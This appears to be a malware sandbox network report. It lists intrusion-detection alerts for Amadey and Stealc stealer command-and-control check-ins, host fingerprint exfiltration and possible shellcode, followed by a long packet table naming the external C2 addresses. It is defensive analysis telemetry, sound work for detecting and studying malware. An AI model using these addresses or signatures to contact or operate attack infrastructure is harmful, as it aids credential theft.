2024-07-27T03:19:36.927193+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49724	80	192.168.2.6	185.215.113.19
2024-07-27T03:19:07.968205+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	49710	80	192.168.2.6	85.28.47.31
2024-07-27T03:19:17.908478+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49710	80	192.168.2.6	85.28.47.31
2024-07-27T03:19:22.902055+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49713	80	192.168.2.6	185.215.113.16
2024-07-27T03:19:51.399835+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49737	80	192.168.2.6	85.28.47.31
2024-07-27T03:19:41.787166+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49728	80	192.168.2.6	185.215.113.19
2024-07-27T03:19:36.161125+0200	TCP	2856122	ETPRO MALWARE Amadey CnC Response M1	80	49722	185.215.113.19	192.168.2.6
2024-07-27T03:19:09.474341+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49710	85.28.47.31	192.168.2.6
2024-07-27T03:19:38.090202+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49726	80	192.168.2.6	85.28.47.31

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2024 03:19:06.672945023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:06.678041935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:06.678141117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:06.678790092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:06.683613062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:07.294591904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:07.297187090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:07.301187038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:07.306073904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:07.593708992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:07.595139027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:07.595139027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:07.601494074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:07.785468102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:07.785541058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:07.786747932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:07.786747932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:07.786747932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:07.791635036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:07.967967033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:07.968014002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:07.968045950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:07.968079090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:07.968204975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:07.968204975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:07.968204975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:07.972739935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:07.972826004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:07.972899914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:07.972934961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:07.972946882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:07.972975969 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:07.974684954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:07.979522943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:08.171118975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:08.171252966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:08.396940947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:08.396985054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:08.402075052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:08.402102947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:08.402116060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:08.402127981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:08.402441025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:08.402453899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:08.402486086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:08.402499914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:08.969757080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:08.969857931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.207844019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.215755939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.392770052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.392792940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.392807961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.392824888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.392908096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.392944098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.393081903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.393107891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.393125057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.393140078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.393245935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.393261909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.393276930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.393287897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.393302917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.393316984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.393321991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.393338919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.393363953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.393378973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.394119024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.394149065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.394159079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.394164085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.394182920 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.394201040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.474098921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.474154949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.474189043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.474222898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.474258900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.474313974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.474340916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.474370003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.474374056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.474394083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.474410057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.474423885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.474443913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.474458933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.474489927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.481039047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.481087923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.481103897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.481149912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.481151104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.481151104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.481178045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.481216908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.481251001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.481266975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.481281996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.481290102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.481298923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.481306076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.481324911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.481342077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.482124090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.482160091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.482176065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.482192039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.482203007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.482217073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.482594013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.482610941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.482628107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.482642889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.482656956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.482660055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.482697010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.483386040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.483445883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.556061029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.556087017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.556104898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.556119919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.556135893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.556139946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.556154966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.556176901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.556205988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.556677103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.556723118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.556760073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.556775093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.556799889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.556817055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.556838036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.556881905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.556921005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.556935072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.556967020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.556983948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.562515974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.562589884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.562601089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.562642097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.567977905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.568001986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.568018913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.568053961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.568089008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.568131924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.568147898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.568166018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.568172932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.568201065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.578577995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.578608036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.578630924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.578645945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.578663111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.578675985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.578836918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.589425087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.589493990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.589529037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.589557886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.589562893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.589601040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.589601040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.589617968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.589646101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.603496075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.603548050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.603563070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.603578091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.603594065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.603609085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.603634119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.603687048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.603687048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.603882074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.603925943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.603966951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.603992939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.604007006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.604021072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.604073048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.604111910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.604317904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.604341984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.604365110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.604367018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.604381084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.604387045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.604398966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.604408979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.604429007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.604443073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.611839056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.611920118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.611933947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.611957073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.611973047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.611989021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.612092972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.612457991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.612499952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.612515926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.612517118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.612534046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.612546921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.612551928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.612570047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.612597942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.650238991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.650275946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.650295019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.650311947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.650330067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.650429010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.650480032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.661253929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.661288023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.661304951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.661319017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.661335945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.661353111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.661350965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.661389112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.661400080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.661501884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.661545992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.661550045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.661576033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.661591053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.661598921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.661607981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.661616087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.661633015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.661650896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.666053057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.666105986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.666130066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.666132927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.666150093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.666157961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.666167974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.666172981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.666192055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.666212082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.666287899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.666311979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.666327953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.666331053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.666347027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.666347980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.666364908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.666366100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.666382074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.666383028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.666403055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.666421890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.667097092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.667117119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.667134047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.667145967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.667170048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.667435884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.667452097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.667483091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.667483091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.667509079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.667514086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.667526960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.667534113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.667546034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.667552948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.667572021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.667589903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.668298006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.668314934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.668370962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.677505016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.677551031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.677567005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.677604914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.677603006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.677649975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.677659035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.678009987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.678030968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.678047895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.678059101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.678077936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.678123951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.678152084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.678167105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.678180933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.678198099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.678225040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.678245068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.679094076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.679107904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.679148912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.693542957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.693574905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.693593025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.693608046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.693625927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.693640947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.693641901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.693658113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.693670034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.693675041 CEST	80	49710	85.28.47.31	192.168.2.6
